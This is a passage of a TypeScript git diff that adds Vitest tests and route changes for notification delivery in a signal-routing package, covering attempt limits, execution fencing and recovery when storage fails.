+    expect((await h.dispatch([exhausted.id, wrong.id]))?.status).toBe(404);
+    expect(conditional).not.toHaveBeenCalled();
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: exhausted.id,
+      }),
+    ).toMatchObject({ status: 'pending', deliveryAttempts: 1 });
+  });
+
+  it.each([
+    'initial',
+    'fresh',
+  ] as const)('refuses a returned physical key mismatch at the %s read without writing', async (phase) => {
+    const h = fixture();
+    const record = await h.storage.createNotification(input);
+    const get = h.storage.getNotification.bind(h.storage);
+    let reads = 0;
+    h.storage.getNotification = async (lookup) => {
+      const current = await get(lookup);
+      if (++reads === (phase === 'initial' ? 1 : 2) && current)
+        return { ...current, threadId: 'other-thread' };
+      return current;
+    };
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    const response = await h.dispatch([record.id]);
+    expect(response?.status).toBe(phase === 'initial' ? 404 : 200);
+    if (phase === 'fresh')
+      expect(await response?.json()).toEqual({
+        delivered: 0,
+        failed: 0,
+        skipped: 1,
+      });
+    expect(conditional).not.toHaveBeenCalled();
+    expect(h.contentPolicy).not.toHaveBeenCalled();
+    expect(
+      await get({ threadId: input.threadId, id: record.id }),
+    ).toMatchObject({ status: 'pending', deliveryAttempts: 0 });
+  });
+
+  it('does not send an exhausted selection after its observation changes', async () => {
+    const h = fixture({ maxDeliveryAttempts: 1 });
+    const first = await h.storage.createNotification({ ...input, id: 'first' });
+    await h.storage.updateNotification({
+      threadId: input.threadId,
+      id: first.id,
+      deliveryAttempts: 1,
+      lastDeliveryError: 'old refusal',
+    });
+    const second = await h.storage.createNotification({
+      ...input,
+      id: 'second',
+    });
+    await h.storage.updateNotification({
+      threadId: input.threadId,
+      id: second.id,
+      status: 'delivered',
+    });
+    const get = h.storage.getNotification.bind(h.storage);
+    h.storage.getNotification = async (lookup) => {
+      if (lookup.id === second.id)
+        await h.storage.createNotification({
+          ...input,
+          id: first.id,
+          summary: 'replacement',
+        });
+      return get(lookup);
+    };
+    expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({
+      delivered: 0,
+      failed: 1,
+      skipped: 1,
+    });
+    expect(await get({ threadId: input.threadId, id: first.id })).toMatchObject(
+      { status: 'pending', summary: 'replacement', deliveryAttempts: 0 },
+    );
+    expect(h.contentPolicy).not.toHaveBeenCalled();
+    expect(h.startIdleRun).not.toHaveBeenCalled();
+  });
+
+  it('captures policy and bound methods before store awaits and ignores body policy', async () => {
+    const storage = notificationStore();
+    const record = await storage.createNotification(input);
+    const { agent } = mockAgent();
+    const options = {
+      resolveAgent: () => agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: async () => {
+        options.maxDeliveryAttempts = 100;
+        return storage;
+      },
+      maxDeliveryAttempts: 1,
+      contentPolicy: () => ({
+        allowed: false as const,
+        outcome: 'error' as const,
+      }),
+    };
+    const conditional = vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    const get = storage.getNotification.bind(storage);
+    storage.getNotification = async (lookup) => {
+      storage.updateNotificationDeliveryIfUnchanged = vi.fn(async () => {
+        throw new Error('mutated capability');
+      });
+      storage.getNotification = vi.fn(async () => {
+        throw new Error('mutated reader');
+      });
+      return get(lookup);
+    };
+    const routes = createThreadSignalRoutes(options);
+    const response = await routes(
+      post('/signal/notifications/dispatch', {
+        notificationIds: [record.id],
+        agentId: 'agent',
+        resourceId: 'acme_res',
+        now: dispatchNow,
+        maxDeliveryAttempts: 100,
+      }),
+      scopeWith(undefined),
+    );
+    expect(await response?.json()).toEqual({
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    expect(conditional).toHaveBeenCalledOnce();
+    expect(
+      await get({ threadId: input.threadId, id: record.id }),
+    ).toMatchObject({ status: 'discarded', deliveryAttempts: 1 });
+  });
+
+  it.each([
+    'fresh-exhausted',
+    'fresh-malformed',
+    'fresh-failure',
+    'read-failure',
+  ] as const)('uses the actual individual observation for %s', async (mode) => {
+    const h = fixture({ maxDeliveryAttempts: 2 });
+    const record = await h.storage.createNotification(input);
+    const get = h.storage.getNotification.bind(h.storage);
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    let reads = 0;
+    h.storage.getNotification = async (lookup) => {
+      if (++reads === 2) {
+        if (mode === 'read-failure') throw new Error('fresh read failed');
+        await h.storage.updateNotification({
+          ...lookup,
+          deliveryAttempts: mode === 'fresh-exhausted' ? 2 : 1,
+          lastDeliveryError: 'previous error',
+        });
+        const current = await get(lookup);
+        if (!current) throw new Error('notification fixture missing');
+        return mode === 'fresh-malformed'
+          ? { ...current, deliveryAttempts: null as unknown as number }
+          : current;
+      }
+      return get(lookup);
+    };
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    try {
+      expect(await (await h.dispatch([record.id]))?.json()).toEqual(
+        mode === 'fresh-failure' || mode === 'fresh-exhausted'
+          ? { delivered: 0, failed: 0, discarded: 1 }
+          : { delivered: 0, failed: 1 },
+      );
+      if (mode === 'fresh-malformed')
+        expect(conditional).not.toHaveBeenCalled();
+      else expect(conditional).toHaveBeenCalledOnce();
+      const current = await get({ threadId: input.threadId, id: record.id });
+      expect(current?.deliveryAttempts).toBe(
+        mode === 'fresh-exhausted' || mode === 'fresh-failure' ? 2 : 1,
+      );
+      expect(current?.lastDeliveryError).toBe(
+        mode === 'fresh-exhausted' || mode === 'fresh-malformed'
+          ? 'previous error'
+          : mode === 'read-failure'
+            ? 'fresh read failed'
+            : 'signal content policy failed',
+      );
+      expect(h.contentPolicy).toHaveBeenCalledTimes(
+        mode === 'fresh-failure' ? 1 : 0,
+      );
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    null,
+    '1',
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('contains malformed selected attempts %s without guessing a receipt', async (deliveryAttempts) => {
+    const h = fixture();
+    const malformed = await h.storage.createNotification(input);
+    const neighbor = await h.storage.createNotification(input);
+    const get = h.storage.getNotification.bind(h.storage);
+    h.storage.getNotification = async (lookup) => {
+      const current = await get(lookup);
+      if (!current) throw new Error('notification fixture missing');
+      return lookup.id === malformed.id
+        ? { ...current, deliveryAttempts: deliveryAttempts as number }
+        : current;
+    };
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    try {
+      expect(
+        await (await h.dispatch([malformed.id, neighbor.id]))?.json(),
+      ).toEqual({ delivered: 0, failed: 2 });
+      expect(conditional).toHaveBeenCalledOnce();
+      expect(conditional.mock.calls[0]?.[0].expected.id).toBe(neighbor.id);
+      expect(h.contentPolicy).toHaveBeenCalledOnce();
+      expect(
+        await get({ threadId: input.threadId, id: malformed.id }),
+      ).toMatchObject({ deliveryAttempts: 0, lastDeliveryError: undefined });
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it.each([
+    'summary',
+    'individual',
+  ] as const)('detaches %s rendering and failure observations from mutable storage objects', async (mode) => {
+    const h = fixture();
+    const first = await h.storage.createNotification({
+      ...input,
+      id: 'first',
+      summary: 'original summary',
+      payload: { value: 'original payload' },
+      ...(mode === 'summary'
+        ? { summaryAt: new Date(0), priority: 'low' as const }
+        : {}),
+    });
+    const second =
+      mode === 'summary'
+        ? await h.storage.createNotification({
+            ...input,
+            id: 'second',
+            summaryAt: new Date(0),
+            priority: 'low',
+          })
+        : undefined;
+    const get = h.storage.getNotification.bind(h.storage);
+    const shared = await get({ threadId: input.threadId, id: first.id });
+    if (!shared) throw new Error('notification fixture missing');
+    h.storage.getNotification = async (lookup) => {
+      if (lookup.id === first.id) return shared;
+      shared.source = 'mutated-source';
+      shared.summary = 'mutated summary';
+      (shared.payload as { value: string }).value = 'mutated payload';
+      shared.updatedAt.setTime(0);
+      return get(lookup);
+    };
+    h.contentPolicy.mockImplementation(() => {
+      shared.summary = 'mutated after rendering';
+      (shared.payload as { value: string }).value = 'mutated after rendering';
+      shared.updatedAt.setTime(0);
+      return { allowed: false, outcome: 'error' };
+    });
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    expect(
+      await (
+        await h.dispatch(second ? [first.id, second.id] : [first.id])
+      )?.json(),
+    ).toEqual({ delivered: 0, failed: second ? 2 : 1 });
+    expect(h.contentPolicy.mock.calls[0]?.[0]).toMatchObject({
+      text: expect.stringContaining(
+        mode === 'summary' ? 'test: 2' : 'original summary',
+      ),
+    });
+    expect(conditional.mock.calls[0]?.[0].expected).toMatchObject({
+      summary: 'original summary',
+      payload: '{"value":"original payload"}',
+      updatedAt: first.updatedAt.toISOString(),
+    });
+    expect(await get({ threadId: input.threadId, id: first.id })).toMatchObject(
+      { deliveryAttempts: 1, summary: 'original summary' },
+    );
+  });
+
+  it('settles successful summary members before a later receipt write fails', async () => {
+    const h = fixture({ contentPolicy: undefined });
+    const first = await h.storage.createNotification({
+      ...input,
+      id: 'first',
+      priority: 'low',
+      summaryAt: new Date(0),
+      deliverAt: new Date('2099-01-01'),
+    });
+    const second = await h.storage.createNotification({
+      ...input,
+      id: 'second',
+      priority: 'low',
+      summaryAt: new Date(0),
+      deliverAt: new Date('2099-01-01'),
+    });
+    const update = h.storage.updateNotification.bind(h.storage);
+    h.storage.updateNotification = async (patch) => {
+      if (patch.id === second.id && patch.summarySignalId)
+        throw new Error('second receipt failed');
+      return update(patch);
+    };
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({
+      delivered: 1,
+      failed: 1,
+    });
+    expect(conditional).toHaveBeenCalledOnce();
+    expect(conditional.mock.calls[0]?.[0].expected.id).toBe(second.id);
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: first.id,
+      }),
+    ).toMatchObject({
+      summaryAt: undefined,
+      summarySignalId: 's',
+      deliveryAttempts: 0,
+    });
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: second.id,
+      }),
+    ).toMatchObject({
+      summaryAt: new Date(new Date(dispatchNow).getTime() + 1000),
+      deliverAt: new Date('2099-01-01'),
+      deliveryAttempts: 1,
+      lastDeliveryError: 'second receipt failed',
+    });
+  });
+
+  it.each([
+    'individual',
+    'summary',
+    'denial',
+  ] as const)('preserves a committed %s receipt after general update response loss', async (mode) => {
+    const h = fixture({
+      contentPolicy:
+        mode === 'denial'
+          ? () => ({ allowed: false, outcome: 'denied' })
+          : undefined,
+    });
+    const record = await h.storage.createNotification({
+      ...input,
+      ...(mode === 'summary'
+        ? { priority: 'low' as const, summaryAt: new Date(0) }
+        : {}),
+    });
+    const update = h.storage.updateNotification.bind(h.storage);
+    let receipt: NotificationRecord | null = null;
+    h.storage.updateNotification = async (patch) => {
+      receipt = await update(patch);
+      throw new Error('general update response lost');
+    };
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    const get = vi.spyOn(h.storage, 'getNotification');
+    expect(await (await h.dispatch([record.id]))?.json()).toEqual({
+      delivered: 0,
+      failed: 1,
+    });
+    expect(conditional).toHaveBeenCalledOnce();
+    expect(get).toHaveBeenCalledTimes(mode === 'summary' ? 1 : 2);
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: record.id,
+      }),
+    ).toEqual(receipt);
+    expect(receipt).toMatchObject({
+      deliveryAttempts: 0,
+      lastDeliveryError: undefined,
+      ...(mode === 'summary'
+        ? { summarySignalId: 's', summaryAt: undefined }
+        : mode === 'denial'
+          ? { status: 'discarded', deliveryReason: 'content-policy-denied' }
+          : { status: 'delivered', deliveredSignalId: expect.any(String) }),
+    });
+  });
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('contains summary bookkeeping response loss %s commit and continues the plan', async (timing) => {
+    const h = fixture();
+    const first = await h.storage.createNotification({
+      ...input,
+      id: 'first',
+      priority: 'medium',
+      summaryAt: new Date(0),
+    });
+    const second = await h.storage.createNotification({
+      ...input,
+      id: 'second',
+      priority: 'medium',
+      summaryAt: new Date(0),
+    });
+    const neighbor = await h.storage.createNotification({
+      ...input,
+      id: 'neighbor',
+      priority: 'low',
+    });
+    const write = h.storage.updateNotificationDeliveryIfUnchanged.bind(
+      h.storage,
+    );
+    const conditional = vi
+      .spyOn(h.storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockImplementation(async (patch) => {
+        if (patch.expected.id === first.id) {
+          if (timing === 'after') await write(patch);
+          throw new Error('bookkeeping response lost');
+        }
+        return write(patch);
+      });
+    const log = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('logger failed');
+    });
+    try {
+      expect(
+        await (await h.dispatch([first.id, second.id, neighbor.id]))?.json(),
+      ).toEqual({ delivered: 0, failed: 3 });
+      expect(
+        conditional.mock.calls.map(([patch]) => patch.expected.id),
+      ).toEqual([first.id, second.id, neighbor.id]);
+      expect(h.contentPolicy).toHaveBeenCalledTimes(2);
+      for (const id of [first.id, second.id, neighbor.id]) {
+        expect(
+          await h.storage.getNotification({ threadId: input.threadId, id }),
+        ).toMatchObject({
+          deliveryAttempts: id === first.id && timing === 'before' ? 0 : 1,
+          lastDeliveryError:
+            id === first.id && timing === 'before'
+              ? undefined
+              : 'signal content policy failed',
+        });
+      }
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('starts an absent attempt counter at zero without discarding a summary-only receipt', async () => {
+    const h = fixture();
+    const record = await h.storage.createNotification(input);
+    await h.storage.updateNotification({
+      threadId: input.threadId,
+      id: record.id,
+      summarySignalId: 'old-summary',
+    });
+    const get = h.storage.getNotification.bind(h.storage);
+    h.storage.getNotification = async (lookup) => {
+      const current = await get(lookup);
+      if (current) delete current.deliveryAttempts;
+      return current;
+    };
+    expect(await (await h.dispatch([record.id]))?.json()).toEqual({
+      delivered: 0,
+      failed: 1,
+    });
+    expect(
+      await get({ threadId: input.threadId, id: record.id }),
+    ).toMatchObject({
+      status: 'pending',
+      deliveryAttempts: 1,
+      summarySignalId: 'old-summary',
+    });
+    expect(h.contentPolicy).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('counts conditional exhaustion response loss %s commit from its exact readback', async (timing) => {
+    const h = fixture({ maxDeliveryAttempts: 1 });
+    const record = await h.storage.createNotification(input);
+    const write = h.storage.updateNotificationDeliveryIfUnchanged.bind(
+      h.storage,
+    );
+    const conditional = vi
+      .spyOn(h.storage, 'updateNotificationDeliveryIfUnchanged')
+      .mockImplementation(async (patch) => {
+        if (timing === 'after') await write(patch);
+        throw new Error('exhaustion response lost');
+      });
+    const get = vi.spyOn(h.storage, 'getNotification');
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    try {
+      expect(await (await h.dispatch([record.id]))?.json()).toEqual(
+        timing === 'after'
+          ? { delivered: 0, failed: 0, discarded: 1 }
+          : { delivered: 0, failed: 1 },
+      );
+      expect(conditional).toHaveBeenCalledOnce();
+      expect(get).toHaveBeenCalledTimes(3);
+      expect(
+        await h.storage.getNotification({
+          threadId: input.threadId,
+          id: record.id,
+        }),
+      ).toMatchObject({
+        status: timing === 'after' ? 'discarded' : 'pending',
+        deliveryAttempts: timing === 'after' ? 1 : 0,
+      });
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('retains dispatch time when a general receipt writer mutates its Date argument', async () => {
+    const h = fixture({ contentPolicy: undefined });
+    const first = await h.storage.createNotification({ ...input, id: 'first' });
+    const second = await h.storage.createNotification({
+      ...input,
+      id: 'second',
+      deliverAt: new Date(new Date(dispatchNow).getTime() - 1),
+    });
+    const update = h.storage.updateNotification.bind(h.storage);
+    h.storage.updateNotification = async (patch) => {
+      if (patch.id === first.id) {
+        patch.lastDeliveryAttemptAt?.setTime(0);
+        throw new Error('first general receipt failed');
+      }
+      return update(patch);
+    };
+    expect(await (await h.dispatch([first.id, second.id]))?.json()).toEqual({
+      delivered: 1,
+      failed: 1,
+    });
+    for (const id of [first.id, second.id]) {
+      expect(
+        await h.storage.getNotification({ threadId: input.threadId, id }),
+      ).toMatchObject({ lastDeliveryAttemptAt: new Date(dispatchNow) });
+    }
+  });
+});
diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts
index c4d0f9de..7669eee4 100644
--- a/packages/flowsafe/src/signals/thread-do-routes.ts
+++ b/packages/flowsafe/src/signals/thread-do-routes.ts
@@ -58,7 +58,9 @@ import {
 } from '../approval-api/index.js';
 import {
   admitsExistingRun,
+  type D1RunExecutionIdentity,
   DoStatusError,
+  ExecutionFencedError,
   type ExecutionFenceReading,
   executionFencedResponse,
   isExecutionFenceRefusal,
@@ -68,6 +70,7 @@ import {
   type ThreadScope,
 } from '../do-runner/index.js';
 import { internalErrorResponse } from '../internal-error-response.js';
+import { positiveSafeInteger } from '../numeric-config.js';
 import {
   createScheduleAgentDispatchReceipt,
   type ScheduleAgentDispatchAction,
@@ -76,9 +79,16 @@ import {
 } from '../schedules/schedules-d1.js';
 import type { AgentScheduleTarget } from '../schedules/tick.js';
 import {
-  deferNotificationAfterFailure,
+  assertNotificationDeliveryPolicyPatched,
+  assertNotificationSourceKeysPatched,
+  captureNotificationDeliverySelection,
+  captureNotificationDeliveryStorage,
+  DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
   MAX_NOTIFICATION_DISPATCH_IDS,
+  type NotificationDeliveryObservation,
   planNotificationDispatch,
+  recordNotificationDeliveryFailure,
+  reportNotificationDeliveryError,
 } from './notification-dispatch.js';
 
 /**
@@ -300,6 +310,8 @@ export interface ThreadSignalRoutesOptions {
   resolveNotificationsStorage?: (
     scope: ThreadScope,
   ) => NotificationsStorage | Promise<NotificationsStorage>;
+  /** Failed delivery rounds before a pending notification is discarded. */
+  maxDeliveryAttempts?: number;
   /** Target-side lease and receipt store for at-least-once schedule fires. */
   resolveScheduleDispatchStore?: (
     scope: ThreadScope,
@@ -485,6 +497,10 @@ function signalContentPolicyResponse(
 export function createThreadSignalRoutes(
   options: ThreadSignalRoutesOptions,
 ): ThreadSignalRouter {
+  const maxDeliveryAttempts = positiveSafeInteger(
+    options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+    'notification maximum delivery attempts',
+  );
   const {
     resolveAgent,
     resolveResourceId,
@@ -619,15 +635,64 @@ export function createThreadSignalRoutes(
       // the lanes that never reach it (the persist routes, and a default
       // non-wake delivery) ungated; handleWake keeps its own check for the
       // wake path it owns.
+      let proof: SignalProofGuard | undefined;
       if (executionFence.state === 'proof-only') {
-        const activeRunId = activeThreadRunIdOf(
-          agent,
-          threadId,
-          resourceId ?? '',
+        const runtime = scope.init.runtime;
+        const reader = (
+          agent as Agent & {
+            proofExecutionFor?: (
+              runtime: typeof scope.init.runtime,
+              threadId: string,
+              runId: string,
+            ) => Promise<D1RunExecutionIdentity | undefined>;
+          }
+        ).proofExecutionFor;
+        if (
+          !runtimeDriven ||
+          typeof reader !== 'function' ||
+          runtime.executionFence !== scope.init.executionFence
+        )
+          throw new ExecutionFencedError(executionFence.state, entryPath);
+        const capture = async (runId: string | undefined) => {
+          if (runId === undefined)
+            throw new ExecutionFencedError(executionFence.state, entryPath);
+          const execution = await Reflect.apply(reader, agent, [
+            runtime,
+            threadId,
+            runId,
+          ]);
+          if (
+            execution === undefined ||
+            !admitsExistingRun(executionFence, execution)
+          )
+            throw new ExecutionFencedError(executionFence.state, entryPath);
+          return Object.freeze({ ...execution });
+        };
+        const admitted = await capture(
+          activeThreadRunIdOf(agent, threadId, resourceId ?? ''),
         );
-        if (!admitsExistingRun(executionFence, activeRunId)) {
-          return executionFencedResponse(executionFence.state, entryPath);
-        }
+        const assertActive = (expected = admitted) => {
+          if (
+            activeThreadRunIdOf(agent, threadId, resourceId ?? '') !==
+            expected.runId
+          )
+            throw new ExecutionFencedError(executionFence.state, entryPath);
+        };
+        proof = {
+          capture,
+          async check(expected = admitted) {
+            const current = await capture(expected.runId);
+            if (
+              !admitsExistingRun(
+                { state: 'proof-only', proofExecution: expected },
+                current,
+              )
+            )
+              throw new ExecutionFencedError(executionFence.state, entryPath);
+          },
+          assertActive,
+        };
+        assertActive();
       }
       let memoryResolution: Promise<boolean> | undefined;
       const memoryAvailable: MemoryAvailable = () => {
@@ -638,12 +703,16 @@ export function createThreadSignalRoutes(
               Boolean(await agent.getMemory())
             );
           } catch {
-            console.error(
-              JSON.stringify({
-                type: 'signal-memory-resolution-failed',
-                threadId,
-              }),
-            );
+            try {
+              console.error(
+                JSON.stringify({
+                  type: 'signal-memory-resolution-failed',
+                  threadId,
+                }),
+              );
+            } catch {
+              // Diagnostics cannot change the memory fallback.
+            }
             return false;
           }
         })();
@@ -703,6 +772,7 @@ export function createThreadSignalRoutes(
             persistenceAllowed,
             memoryAvailable,
             inspectContent,
+            proof,
             executionFence,
           },
         );
@@ -716,6 +786,7 @@ export function createThreadSignalRoutes(
           persistenceAllowed,
           memoryAvailable,
           inspectContent,
+          proof,
         });
       }
       // POST /signal — a system signal (ifActive/ifIdle deliver/persist/discard/wake).
@@ -737,6 +808,7 @@ export function createThreadSignalRoutes(
             persistenceAllowed,
             memoryAvailable,
             inspectContent,
+            proof,
             executionFence,
           },
         );
@@ -773,6 +845,7 @@ export function createThreadSignalRoutes(
           store: await resolveScheduleDispatchStore(scope),
           completed: completedScheduleDispatches,
           inspectContent,
+          proof,
         });
       }
       // POST /signal/state — a durable thread-state lane (snapshot/delta).
@@ -784,6 +857,7 @@ export function createThreadSignalRoutes(
           runtimeDriven,
           memoryAvailable,
           inspectContent,
+          proof,
         });
       }
       if (requestedAgentId !== undefined) {
@@ -811,8 +885,10 @@ export function createThreadSignalRoutes(
             persistenceAllowed,
             memoryAvailable,
             storage: await resolveNotificationsStorage(scope),
+            maxDeliveryAttempts,
             agentId: requestedAgentId,
             inspectContent,
+            proof,
           }),
         );
       }
@@ -827,7 +903,7 @@ export function createThreadSignalRoutes(
             resolveNotificationsStorage
               ? () => resolveNotificationsStorage(scope)
               : undefined,
-            { persistenceAllowed, runtimeDriven, inspectContent },
+            { persistenceAllowed, runtimeDriven, inspectContent, proof },
           ),
         );
       }
@@ -873,6 +949,12 @@ export function createThreadSignalRoutes(
   };
 }
 
+interface SignalProofGuard {
+  capture(runId: string | undefined): Promise<D1RunExecutionIdentity>;
+  check(execution?: D1RunExecutionIdentity): Promise<void>;
+  assertActive(execution?: D1RunExecutionIdentity): void;
+}
+
 async function handleNotificationDispatch(options: {
   agent: Agent;
   body: Record<string, unknown>;
@@ -889,8 +971,10 @@ async function handleNotificationDispatch(options: {
   persistenceAllowed: boolean;
   memoryAvailable: MemoryAvailable;
   storage: NotificationsStorage;
+  maxDeliveryAttempts: number;
   agentId: string;
   inspectContent?: InspectSignalContent;
+  proof?: SignalProofGuard;
   /** The ONE fence reading this request took — see handleWake. */
   executionFence: ExecutionFenceReading;
 }): Promise<Response> {
@@ -933,6 +1017,7 @@ async function handleNotificationDispatch(options: {
   if (Number.isNaN(now.getTime())) {
     return json({ error: 'now must be an ISO timestamp' }, 400);
   }
+  const nowMs = now.getTime();
   const carriesBatchThreadState = Object.hasOwn(
     options.body,
     'batchThreadState',
@@ -950,33 +1035,62 @@ async function handleNotificationDispatch(options: {
     );
   }
 
-  const records: NotificationRecord[] = [];
+  assertNotificationSourceKeysPatched();
+  const deliveryStorage = captureNotificationDeliveryStorage(options.storage);
+  const selections: ReturnType<typeof captureNotificationDeliverySelection>[] =
+    [];
+  // A record settles once: an already-discarded record must not be counted
+  // twice, nor have its content-policy reason overwritten by an unrelated
+  // storage error. `recordFailure` returns early for the same reason.
+  const settled = new Set<string>();
+  let delivered = 0;
+  let failed = 0;
+  let discarded = 0;
   let skipped = 0;
+  const settle = (
+    id: string,
+    outcome: 'delivered' | 'failed' | 'discarded' | 'skipped',
+  ) => {
+    if (settled.has(id)) return;
+    settled.add(id);
+    if (outcome === 'delivered') delivered += 1;
+    else if (outcome === 'failed') failed += 1;
+    else if (outcome === 'discarded') discarded += 1;
+    else skipped += 1;
+  };
   for (const id of uniqueIds) {
-    const current = await options.storage.getNotification({
+    const current = await deliveryStorage.getNotification({
       threadId: options.threadId,
       id,
     });
     if (current?.status !== 'pending' || current.deliveredSignalId) {
-      skipped += 1;
+      settle(id, 'skipped');
       continue;
     }
     if (
+      current.id !== id ||
+      current.threadId !== options.threadId ||
       current.resourceId !== options.resourceId ||
       current.agentId !== options.agentId
     ) {
       return json({ error: 'notification binding does not match' }, 404);
     }
-    const due =
-      (current.deliverAt !== undefined &&
-        current.deliverAt.getTime() <= now.getTime()) ||
-      (current.summaryAt !== undefined &&
-        current.summaryAt.getTime() <= now.getTime());
-    if (!due) {
-      skipped += 1;
-      continue;
+    try {
+      const selection = captureNotificationDeliverySelection(current);
+      const { record } = selection;
+      const due =
+        (record.deliverAt !== undefined &&
+          record.deliverAt.getTime() <= nowMs) ||
+        (record.summaryAt !== undefined && record.summaryAt.getTime() <= nowMs);
+      if (!due) {
+        settle(id, 'skipped');
+        continue;
+      }
+      selections.push(selection);
+    } catch (error) {
+      settle(id, 'failed');
+      reportNotificationDeliveryError(error);
     }
-    records.push(current);
   }
 
   const batchThreadState: 'active' | 'idle' =
@@ -988,29 +1102,36 @@ async function handleNotificationDispatch(options: {
         ? 'active'
         : 'idle';
 
-  let delivered = 0;
-  let failed = 0;
-  let discarded = 0;
-  // Records whose terminal discard is already durable. A later throw in the
-  // same group funnels the group into `updateFailure`; without this, an
-  // already-discarded record would be counted twice and have its
-  // content-policy reason overwritten by an unrelated storage error.
-  const settledDiscards = new Set<string>();
-  const updateFailure = async (record: NotificationRecord, error: unknown) => {
-    if (settledDiscards.has(record.id)) return;
-    failed += 1;
-    await deferNotificationAfterFailure(options.storage, record, now, error);
+  const recordFailure = async (
+    expected: NotificationDeliveryObservation | undefined,
+    action: { type: 'failure'; error: unknown } | { type: 'exhausted' },
+  ) => {
+    if (action.type === 'failure' && isExecutionFenceRefusal(action.error))
+      throw action.error;
+    if (!expected) throw new Error('notification observation is unavailable');
+    if (settled.has(expected.id)) return;
+    await options.proof?.check();
+    options.proof?.assertActive();
+    const outcome = await recordNotificationDeliveryFailure(
+      deliveryStorage,
+      expected,
+      new Date(nowMs),
+      options.maxDeliveryAttempts,
+      action,
+    );
+    settle(expected.id, outcome === 'discarded' ? 'discarded' : 'failed');
   };
   const discardAfterDenial = async (record: NotificationRecord) => {
+    await options.proof?.check();
+    options.proof?.assertActive();
     await options.storage.updateNotification({
       id: record.id,
       threadId: record.threadId,
       status: 'discarded',
       deliveryReason: 'content-policy-denied',
-      lastDeliveryAttemptAt: now,
+      lastDeliveryAttemptAt: new Date(nowMs),
     });
-    settledDiscards.add(record.id);
-    discarded += 1;
+    settle(record.id, 'discarded');
   };
   const inspect = async (
     signal: AgentSignal,
@@ -1038,6 +1159,7 @@ async function handleNotificationDispatch(options: {
       startIdleRun: options.startIdleRun,
       serializeWake: options.serializeWake,
       executionFence: options.executionFence,
+      proof: options.proof,
       blockingRun: durableBlockingRun
         ? () => durableBlockingRun
         : options.blockingRun,
@@ -1064,8 +1186,11 @@ async function handleNotificationDispatch(options: {
           ifIdle: { behavior: 'persist' },
         }),
     });
-    if (!response.ok)
+    if (!response.ok) {
+      if (options.executionFence.state === 'proof-only')
+        throw new ExecutionFencedError('proof-only', 'notification signal');
       throw new Error(`notification signal returned ${response.status}`);
+    }
     const result = (await response.json()) as {
       signalId?: string;
       decision?: unknown;
@@ -1092,6 +1217,8 @@ async function handleNotificationDispatch(options: {
     if (!(await options.memoryAvailable())) {
       throw new Error('signal persistence requires agent memory');
     }
+    await options.proof?.check();
+    options.proof?.assertActive();
     const result = options.agent.sendSignal(signal, {
       threadId: options.threadId,
       resourceId,
@@ -1103,12 +1230,22 @@ async function handleNotificationDispatch(options: {
     return result.signal.id;
   };
 
+  const records: NotificationRecord[] = [];
+  const observations = new Map<string, NotificationDeliveryObservation>();
+  for (const { record, expected } of selections) {
+    if (expected.deliveryAttempts >= options.maxDeliveryAttempts) {
+      await recordFailure(expected, { type: 'exhausted' });
+      continue;
+    }
+    records.push(record);
+    observations.set(record.id, expected);
+  }
+
   for (const item of planNotificationDispatch(records, now)) {
     if (item.type === 'summary') {
-      // Everything from rendering onward stays inside this try: a storage
-      // failure in the discard/failure bookkeeping below must be contained to
-      // this group, exactly as the individual branch contains its own, rather
-      // than escaping and abandoning the rest of the plan.
+      // A summary group's failure, from rendering through bookkeeping, is
+      // contained to this group rather than escaping and abandoning the rest
+      // of the plan.
       try {
         const signal = createNotificationSummarySignal(
           summarizeNotifications(item.records),
@@ -1120,10 +1257,10 @@ async function handleNotificationDispatch(options: {
         }
         if (inspection === 'error') {
           for (const record of item.records) {
-            await updateFailure(
-              record,
-              new Error('signal content policy failed'),
-            );
+            await recordFailure(observations.get(record.id), {
+              type: 'failure',
+              error: new Error('signal content policy failed'),
+            });
           }
           continue;
         }
@@ -1135,42 +1272,64 @@ async function handleNotificationDispatch(options: {
             ? await persistWithoutWake(signal)
             : await send(signal);
         for (const record of item.records) {
+          await options.proof?.check();
+          options.proof?.assertActive();
           await options.storage.updateNotification({
             id: record.id,
             threadId: record.threadId,
             summaryAt: null,
             summarySignalId: signalId,
-            lastDeliveryAttemptAt: now,
+            lastDeliveryAttemptAt: new Date(nowMs),
           });
-          delivered += 1;
+          settle(record.id, 'delivered');
         }
       } catch (error) {
-        for (const record of item.records) await updateFailure(record, error);
